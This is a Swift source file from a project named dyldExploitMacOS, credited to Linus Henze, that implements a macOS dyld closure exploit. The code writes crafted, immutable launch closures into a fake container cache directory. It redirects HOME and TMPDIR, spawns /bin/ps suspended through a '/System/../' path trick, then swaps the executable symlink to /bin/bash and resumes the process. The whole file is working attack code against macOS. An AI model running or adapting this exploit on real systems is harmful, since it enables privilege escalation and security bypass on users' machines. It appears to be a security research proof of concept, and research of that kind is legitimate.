//
//  main.swift
//  dyldExploitMacOS
//
//  Created by Linus Henze.
//  Copyright © 2021 Linus Henze. All rights reserved.
//

import Foundation
import ClosurePwn
import JailbreakUtils
import XPC

enum ClosureLaunchError: Error {
    case failedToInitAttr
    case failedToSetFlags
    case spawnError
}

func launchWithClosure(exe: String, pwnPath: String, closure: LaunchClosure?, helper: LaunchClosure? = nil) throws -> pid_t {
    // Delete old dirs first
    chflags(pwnPath + "/Library/Containers/Data/Library/Caches/com.apple.dyld/exe.closure", 0)
    chflags(pwnPath + "/Library/Containers/Data/Library/Caches/com.apple.dyld/helper.closure", 0)
    try? FileManager.default.removeItem(atPath: pwnPath)
    
    // Create dirs
    // Supports both Big Sur and Catalina
    try FileManager.default.createDirectory(atPath: pwnPath + "/Library/Containers/Data/Library/Caches/com.apple.dyld", withIntermediateDirectories: true, attributes: nil)
    
    // Write closure
    if closure != nil {
        try closure?.emit().write(to: URL(fileURLWithPath: pwnPath + "/Library/Containers/Data/Library/Caches/com.apple.dyld/exe.closure"))
        chflags(pwnPath + "/Library/Containers/Data/Library/Caches/com.apple.dyld/exe.closure", UInt32(UF_IMMUTABLE))
    }
    
    if helper != nil {
        try helper?.emit().write(to: URL(fileURLWithPath: pwnPath + "/Library/Containers/Data/Library/Caches/com.apple.dyld/helper.closure"))
        chflags(pwnPath + "/Library/Containers/Data/Library/Caches/com.apple.dyld/helper.closure", UInt32(UF_IMMUTABLE))
        
        // Link helper
        try FileManager.default.createSymbolicLink(atPath: pwnPath + "/helper", withDestinationPath: "/usr/sbin/sshd")
    }
    
    // Link exe
    try FileManager.default.createSymbolicLink(atPath: pwnPath + "/exe", withDestinationPath: exe)
    
    let origHome = getenv("HOME")
    setenv("HOME", pwnPath + "/Library/Containers/Data", 1)
    
    let origTmpdir = getenv("TMPDIR")
    setenv("TMPDIR", pwnPath + "/Library/Containers/Data/Library/Caches", 1)
    
    setenv("JSC_useDollarVM", "1", 1)
    setenv("JSC_useGC", "0", 1)
    
    // Spawn suspended
    var attr: posix_spawnattr_t?
    guard posix_spawnattr_init(&attr) == 0 else {
        throw ClosureLaunchError.failedToInitAttr
    }
    
    guard posix_spawnattr_setflags(&attr, Int16(POSIX_SPAWN_START_SUSPENDED)) == 0 else {
        throw ClosureLaunchError.failedToSetFlags
    }
    
    setenv("DYLD_PRINT_WARNINGS", "1", 1)
    setenv("PLATFORM", "macOS", 1)
    setenv("PWNPATH", pwnPath, 1)
    
    let pid = try (pwnPath + "/exe").withCString { (ptr) -> pid_t in
        var args = [UnsafeMutablePointer(mutating: ptr), nil]
        var pid: pid_t = 0
        guard posix_spawn(&pid, "/System/../" + pwnPath + "/exe", nil, &attr, &args, environ) == 0 else {
            throw ClosureLaunchError.spawnError
        }
        
        return pid
    }
    
    // Now replace exe
    try FileManager.default.removeItem(atPath: pwnPath + "/exe")
    try FileManager.default.createSymbolicLink(atPath: pwnPath + "/exe", withDestinationPath: "/bin/bash")
    
    // Restore HOME
    setenv("HOME", origHome, 1)
    
    // Restore TMPDIR
    setenv("TMPDIR", origTmpdir, 1)
    
    // Continue child
    kill(pid, SIGCONT)
    
    return pid
}

let ps = try MyPSPwn(name: "PS-PWN")
let pid = try launchWithClosure(exe: "/bin/ps", pwnPath: "/tmp/pwn", closure: try ps.getClosure())
print("PID: \(pid)")

var res: Int32 = 0
waitpid(pid, &res, 0)

print("RES: \(res)")
